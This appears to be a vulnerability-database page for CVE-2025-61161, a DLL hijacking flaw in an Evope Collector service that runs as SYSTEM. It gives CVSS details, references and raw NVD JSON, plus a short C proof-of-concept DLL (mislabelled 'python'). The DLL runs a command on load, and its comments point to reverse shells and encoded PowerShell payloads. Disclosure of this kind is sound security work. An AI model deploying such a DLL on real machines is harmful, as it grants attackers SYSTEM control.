CVE-2025-61161

Description

DLL hijacking vulnerability in Evope Collector 1.1.6.9.0 and related components load the wtsapi32.dll library from an uncontrolled search path (C:\ProgramData\Evope). This allows local unprivileged attackers to execute arbitrary code or escalate privileges to SYSTEM by placing a crafted DLL in that location. The vulnerable component is Evope.Service.exe, which runs with SYSTEM privileges and automatically loads the DLL on startup or reboot.

CVSS Details

CVSS Score

8.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Evope Collector 1.1.6.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Execute code with SYSTEM privileges
        // Launch a high-privilege command shell
        WinExec("cmd.exe /c whoami > C:\\ProgramData\\Evope\\system_user.txt", SW_HIDE);
        
        // Or spawn a reverse shell, download and execute additional malware, etc.
        // system("powershell -enc <base64_encoded_payload>");
    }
    return TRUE;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-61161
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-61161
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-61161/
[4] VulDB https://vuldb.com/cve/CVE-2025-61161
[5] https://www.evope.tech/
[6] https://xavilok.es/dll-hijacking-in-evopeservice--system-to-gui-shell

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-61161", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:56.670", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "DLL hijacking vulnerability in Evope Collector 1.1.6.9.0 and related components load the wtsapi32.dll library from an uncontrolled search path (C:\\ProgramData\\Evope). This allows local unprivileged attackers to execute arbitrary code or escalate privileges to SYSTEM by placing a crafted DLL in that location. The vulnerable component is Evope.Service.exe, which runs with SYSTEM privileges and automatically loads the DLL on startup or reboot."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://www.evope.tech/", "source": "[email protected]"}, {"url": "https://xavilok.es/dll-hijacking-in-evopeservice--system-to-gui-shell", "source": "[email protected]"}]}}